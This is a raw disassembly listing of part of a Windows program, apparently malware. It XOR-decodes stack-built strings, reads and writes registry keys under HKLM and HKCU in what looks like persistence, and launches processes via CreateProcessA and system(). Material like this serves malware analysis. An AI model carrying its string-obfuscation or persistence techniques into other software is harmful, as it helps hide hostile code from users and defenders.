movaps xmmword [ebp - 0x11e0], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x11d0]
push eax
movaps xmmword [ebp - 0x11d0], xmm1
call fcn.00401990
add esp, 4
push 0xc
call fcn.00406240
mov edi, eax
xorps xmm0, xmm0
add esp, 4
mov dword [ebp - 0x1104], edi
movq qword [edi], xmm0
mov dword [edi + 8], 0
mov dword [ebp - 0x1118], 0x6522126e
mov dword [ebp - 0x1114], 0x2e3d81c8
mov ecx, dword [ebp - 0x1118]
mov edx, dword [ebp - 0x1114]
mov dword [ebp - 0x1420], ecx
mov dword [ebp - 0x141c], edx
mov dword [ebp - 0x1118], 0xf8bd34fa
mov dword [ebp - 0x1114], 0xe9a20db8
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1418], eax
mov dword [ebp - 0x1414], ecx
mov dword [ebp - 0x1118], 0x75ee0661
mov dword [ebp - 0x1114], 0x9787ed49
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], ecx
mov dword [ebp - 0x1118], 0xdb73d0b4
mov dword [ebp - 0x1114], 0x380e87c
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0x1404], ecx
mov dword [ebp - 0x1118], 0x7c2cf211
mov dword [ebp - 0x1114], 0x8c5bbdc
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1400], eax
mov dword [ebp - 0x13fc], ecx
mov dword [ebp - 0x1118], 0x4482a678
mov dword [ebp - 0x1114], 0x191f88fc
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x13f8], eax
mov dword [ebp - 0x13f4], ecx
mov dword [ebp - 0x1118], 0x317a7c62
mov dword [ebp - 0x1114], 0x826f7d28
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x13f0], eax
mov dword [ebp - 0x13ec], ecx
mov dword [ebp - 0x1118], 0xf353414
mov dword [ebp - 0x1114], 0xb1a51ac8
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x13e8], eax
mov dword [ebp - 0x13e4], ecx
mov dword [ebp - 0x1118], 0x11447d3d
mov dword [ebp - 0x1114], 0x4b4fe0bf
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0xaff263a6
mov dword [ebp - 0x1114], 0xdb91398e
mov dword [ebp - 0x1180], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x117c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x108a692f
mov dword [ebp - 0x1114], 0xfbf2a015
mov dword [ebp - 0x1178], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1174], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x8f53b9c0
mov dword [ebp - 0x1114], 0x77e68d14
mov dword [ebp - 0x1170], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x116c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x859b331
mov dword [ebp - 0x1114], 0x58e581b3
mov dword [ebp - 0x1168], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1164], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x2df4c90a
mov dword [ebp - 0x1114], 0x397aeb92
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x6d161023
mov dword [ebp - 0x1114], 0x82595319
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0xf353414
mov dword [ebp - 0x1114], 0xb1a51ac8
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x114c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
movaps xmm1, xmmword [ebp - 0x1420]
lea eax, [ebp - 0x1420]
xorps xmm1, xmmword [ebp - 0x1180]
movaps xmmword [ebp - 0x1420], xmm1
movaps xmm1, xmmword [ebp - 0x1410]
xorps xmm1, xmmword [ebp - 0x1170]
movaps xmmword [ebp - 0x1410], xmm1
movaps xmm1, xmmword [ebp - 0x1400]
xorps xmm1, xmmword [ebp - 0x1160]
push edi
push 0xf003f
movaps xmmword [ebp - 0x1400], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x13f0]
push 0
push eax
movaps xmmword [ebp - 0x13f0], xmm1
push 0x80000002
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40440e
mov byte [edi + 4], 1
mov byte [edi + 8], 1
mov dword [ebp - 0x1118], 0x65371c71
mov dword [ebp - 0x1114], 0x253ab29f
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1230], eax
mov dword [ebp - 0x122c], ecx
mov dword [ebp - 0x1118], 0xcc9d2f86
mov dword [ebp - 0x1114], 0xb4f84def
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1228], eax
mov dword [ebp - 0x1224], ecx
mov dword [ebp - 0x1118], 0x108a6941
mov dword [ebp - 0x1114], 0xfbf2a015
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], ecx
mov dword [ebp - 0x1118], 0x8f53b9c0
mov dword [ebp - 0x1114], 0x77e68d14
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1218], eax
mov dword [ebp - 0x1214], ecx
mov dword [ebp - 0x1118], 0x11447d3d
mov dword [ebp - 0x1114], 0x4b4fe0bf
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0xaff263a6
mov dword [ebp - 0x1114], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x108a692f
mov dword [ebp - 0x1114], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x1114], 0x77e68d14
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x114c], ecx
mov ecx, dword [ebp - 0x1114]
movaps xmm1, xmmword [ebp - 0x1230]
xorps xmm1, xmmword [ebp - 0x1160]
mov edx, dword [edi]
movaps xmmword [ebp - 0x1230], xmm1
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
xorps xmm1, xmmword [ebp - 0x1150]
movaps xmmword [ebp - 0x1220], xmm1
mov dword [ebp - 0x1060], 0x1000
mov dword [ebp - 0x1064], 1
test edx, edx
je 0x404600
lea ecx, [ebp - 0x1230]
lea eax, [ecx + 1]
mov dword [ebp - 0x1184], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4045c5
sub ecx, dword [ebp - 0x1184]
je 0x404600
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0x1018]
push eax
lea eax, [ebp - 0x1064]
push eax
push 0
lea eax, [ebp - 0x1230]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
sete al
jmp 0x404602
xor al, al
mov byte [edi + 8], al
lea ecx, [ebp - 0x1018]
xorps xmm0, xmm0
mov dword [ebp - 0x1030], 0
movups xmmword [ebp - 0x1040], xmm0
mov dword [ebp - 0x102c], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404630
sub ecx, edx
lea eax, [ebp - 0x1018]
push ecx
push eax
lea ecx, [ebp - 0x1040]
call fcn.004012a0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1030], 0
jne 0x4048d1
mov dword [ebp - 0x1110], 0x31052970
mov dword [ebp - 0x110c], 0x3d2092ef
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1230], eax
mov dword [ebp - 0x122c], ecx
mov dword [ebp - 0x1110], 0xca910dcf
mov dword [ebp - 0x110c], 0xaffe57ae
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1228], eax
mov dword [ebp - 0x1224], ecx
mov dword [ebp - 0x1110], 0x65e50f0f
mov dword [ebp - 0x110c], 0xf1d3c47b
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1218], eax
mov dword [ebp - 0x1214], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x1230]
xorps xmm1, xmmword [ebp - 0x11b0]
movaps xmmword [ebp - 0x1230], xmm1
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x1198], eax
lea eax, [ebp - 0x1230]
mov dword [ebp - 0x1194], ecx
xorps xmm1, xmmword [ebp - 0x11a0]
push eax
movaps xmmword [ebp - 0x1220], xmm1
call fcn.00401990
mov dword [ebp - 0x1110], 0x62311c4d
add esp, 4
mov dword [ebp - 0x110c], 0x4b4fe0da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], ecx
lea eax, [ebp - 0x1130]
movaps xmm1, xmmword [ebp - 0x1140]
xorps xmm1, xmmword [ebp - 0x1130]
push eax
movaps xmmword [ebp - 0x1130], xmm1
call esi
add esp, 4
mov esi, 1
jmp 0x405c9b
mov dword [ebp - 0x1118], 0x7d313061
lea esi, [ebp - 0x12e0]
mov dword [ebp - 0x1114], 0x1f6f89cb
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x12dc], ecx
mov dword [ebp - 0x12e0], eax
mov dword [ebp - 0x1118], 0xdb9406ce
mov dword [ebp - 0x1114], 0xafe478ae
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x12d4], ecx
mov dword [ebp - 0x12d8], eax
mov dword [ebp - 0x1118], 0x68ef4740
mov dword [ebp - 0x1114], 0xfbf2a070
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x12cc], ecx
mov dword [ebp - 0x12d0], eax
mov dword [ebp - 0x1118], 0x8f53b9c0
mov dword [ebp - 0x1114], 0x77e68d14
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x12c4], ecx
mov dword [ebp - 0x12c8], eax
mov dword [ebp - 0x1118], 0x11447d3d
mov dword [ebp - 0x1114], 0x4b4fe0bf
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0xaff263a6
mov dword [ebp - 0x1114], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x108a692f
mov dword [ebp - 0x1114], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1114]
mov dword [ebp - 0x1118], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1114], 0x77e68d14
mov eax, dword [ebp - 0x1118]
mov ecx, dword [ebp - 0x1114]
movaps xmm1, xmmword [ebp - 0x12e0]
xorps xmm1, xmmword [ebp - 0x1160]
mov edx, dword [ebp - 0x1030]
movaps xmmword [ebp - 0x12e0], xmm1
movaps xmm1, xmmword [ebp - 0x12d0]
mov dword [ebp - 0x1144], ecx
lea ecx, [esi + 1]
mov dword [ebp - 0x1148], eax
xorps xmm1, xmmword [ebp - 0x1150]
movaps xmmword [ebp - 0x12d0], xmm1
mov dword [ebp - 0x11b4], edx
mov al, byte [esi]
inc esi
test al, al
jne 0x404a70
mov eax, 0x7fffffff
sub esi, ecx
sub eax, edx
cmp eax, esi
jb 0x405d4e
cmp dword [ebp - 0x102c], 0xf
lea eax, [ebp - 0x1040]
lea ecx, [esi + edx]
mov dword [ebp - 0x1048], 0
cmova eax, dword [ebp - 0x1040]
mov edi, 0xf
mov dword [ebp - 0x1114], eax
xorps xmm0, xmm0
mov dword [ebp - 0x1044], 0
lea eax, [ebp - 0x1058]
mov dword [ebp - 0x1184], ecx
mov dword [ebp - 0x11bc], eax
movups xmmword [ebp - 0x1058], xmm0
cmp ecx, edi
jbe 0x404b80
mov edi, ecx
or edi, 0xf
mov dword [ebp - 0x1080], edi
cmp edi, 0x7fffffff
jbe 0x404b2c
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.00406240
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x405d1e
mov edx, dword [ebp - 0x11b4]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
mov ecx, dword [ebp - 0x1184]
jmp 0x404b74
mov eax, 0x16
mov dword [ebp - 0x110c], 0x16
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x404b57
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x405d53
jmp 0x404b02
test eax, eax
je 0x404b72
push eax
call fcn.00406240
mov ecx, dword [ebp - 0x1184]
add esp, 4
mov edx, dword [ebp - 0x11b4]
jmp 0x404b74
xor eax, eax
mov dword [ebp - 0x11bc], eax
mov dword [ebp - 0x1058], eax
push edx
push dword [ebp - 0x1114]
mov dword [ebp - 0x1048], ecx
push eax
mov dword [ebp - 0x1044], edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x11b4]
lea ecx, [ebp - 0x12e0]
mov edi, dword [ebp - 0x11bc]
add esp, 0xc
add eax, edi
push esi
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x1184]
add esp, 0xc
mov byte [edi + eax], 0
mov esi, dword [ebp - 0x1104]
mov byte [ebp - 4], 2
mov eax, dword [esi]
test eax, eax
je 0x404bdc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc
push esi
call fcn.00406270
push 0x40
lea eax, [ebp - 0x10e4]
mov dword [ebp - 0x10e8], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x14
push pe_nt_image_headers32
push 0
push 0x64d968
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea edx, [ebp - 0x1058]
cmp dword [ebp - 0x1044], 0xf
cmova edx, dword [ebp - 0x1058]
mov dword [ebp - 0x1108], 0x3337581f
mov dword [ebp - 0x1104], 0x2f3f959f
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1240], eax
mov dword [ebp - 0x123c], ecx
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1234], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x111c], ecx
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x1118], eax
lea eax, [ebp - 0x1240]
push edx
mov dword [ebp - 0x1114], ecx
xorps xmm1, xmmword [ebp - 0x1120]
push eax
push 0x64d968
movaps xmmword [ebp - 0x1240], xmm1
call fcn.004019d0
add esp, 0xc
lea ecx, [ebp - 0x10fc]
cmp dword [ebp - 0x102c], 0xf
lea eax, [ebp - 0x1040]
cmova eax, dword [ebp - 0x1040]
push ecx
lea ecx, [ebp - 0x10e8]
push ecx
push eax
push 0
push 0
push 1
push 0
push 0
push 0x64d968
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x404fc2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1110], 0x7d2d1c7b
mov dword [ebp - 0x110c], 0x3f6f84da
mov ecx, dword [ebp - 0x1110]
mov edx, dword [ebp - 0x110c]
mov dword [ebp - 0x1250], ecx
mov dword [ebp - 0x124c], edx
mov dword [ebp - 0x1110], 0xdd9143c9
mov dword [ebp - 0x110c], 0xbee558eb
mov ecx, dword [ebp - 0x1110]
push eax
mov eax, dword [ebp - 0x110c]
mov dword [ebp - 0x1244], eax
mov dword [ebp - 0x1248], ecx
mov dword [ebp - 0x1110], 0x7ff8190f
mov dword [ebp - 0x110c], 0x8881c576
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1240], eax
mov dword [ebp - 0x123c], ecx
mov dword [ebp - 0x1110], 0xeb7699fa
mov dword [ebp - 0x110c], 0x77e68d1e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1234], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x11b0]
xorps xmm1, xmmword [ebp - 0x1250]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x1198], eax
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x1194], ecx
xorps xmm1, xmmword [ebp - 0x11a0]
push eax
movaps xmmword [ebp - 0x1240], xmm1
call fcn.00401990
mov dword [ebp - 0x1110], 0x62311c4d
mov dword [ebp - 0x110c], 0x4b4fe0da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1138], eax
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x1134], ecx
movaps xmm1, xmmword [ebp - 0x1140]
xorps xmm1, xmmword [ebp - 0x1130]
push eax
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmmword [ebp - 0x1130], xmm1
call eax
add esp, 0xc
mov esi, 1
jmp 0x405c46
push 0x633858
push dword [ebp - 0x10f4]
push dword [ebp - 0x10fc]
call fcn.00401390
test eax, eax
je 0x40523e
push dword [ebp - 0x10fc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1110], 0x7d2d1c7b
mov dword [ebp - 0x110c], 0x3f6f84da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x1110], 0xc19b43c9
mov dword [ebp - 0x110c], 0xd1bf4de7
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x11cc], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x11e0]
xorps xmm1, xmmword [ebp - 0x11b0]
mov dword [ebp - 0x11c8], eax
lea eax, [ebp - 0x11b0]
movaps xmmword [ebp - 0x11b0], xmm1
mov dword [ebp - 0x11c4], ecx
movaps xmm1, xmmword [ebp - 0x11d0]
xorps xmm1, xmmword [ebp - 0x11a0]
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.00401990
mov dword [ebp - 0x1110], 0x62311c4d
mov dword [ebp - 0x110c], 0x4b4fe0da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], ecx
movaps xmm1, xmmword [ebp - 0x1140]
jmp 0x405b39
push 0xc
call fcn.00406240
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x1104], esi
add esp, 4
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [ebp - 0x1108], 0x6522126e
mov dword [ebp - 0x1104], 0x2e3d81c8
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x1104]
mov dword [ebp - 0x1300], ecx
mov dword [ebp - 0x12fc], edx
mov dword [ebp - 0x1108], 0xfdc139fa
mov dword [ebp - 0x1104], 0x98c771be
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x12f8], eax
mov dword [ebp - 0x12f4], ecx
mov dword [ebp - 0x1108], 0x108a6964
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x12f0], eax
mov dword [ebp - 0x12ec], ecx
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x12e8], eax
mov dword [ebp - 0x12e4], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1160]
xorps xmm1, xmmword [ebp - 0x1300]
push esi
push 0xf003f
movaps xmmword [ebp - 0x1300], xmm1
movaps xmm1, xmmword [ebp - 0x12f0]
mov dword [ebp - 0x1148], eax
lea eax, [ebp - 0x1300]
push 0
mov dword [ebp - 0x1144], ecx
xorps xmm1, xmmword [ebp - 0x1150]
push eax
movaps xmmword [ebp - 0x12f0], xmm1
push 0x80000001
mov dword [esi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405430
push 0
push esi
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x1300]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x405434
mov byte [esi + 4], 1
mov byte [esi + 8], 1
mov dword [ebp - 0x1108], 0x7f211a5c
mov dword [ebp - 0x1104], 0x252ebfcb
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x12b0], eax
mov dword [ebp - 0x12ac], ecx
mov dword [ebp - 0x1108], 0xdd9714d5
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x12a8], eax
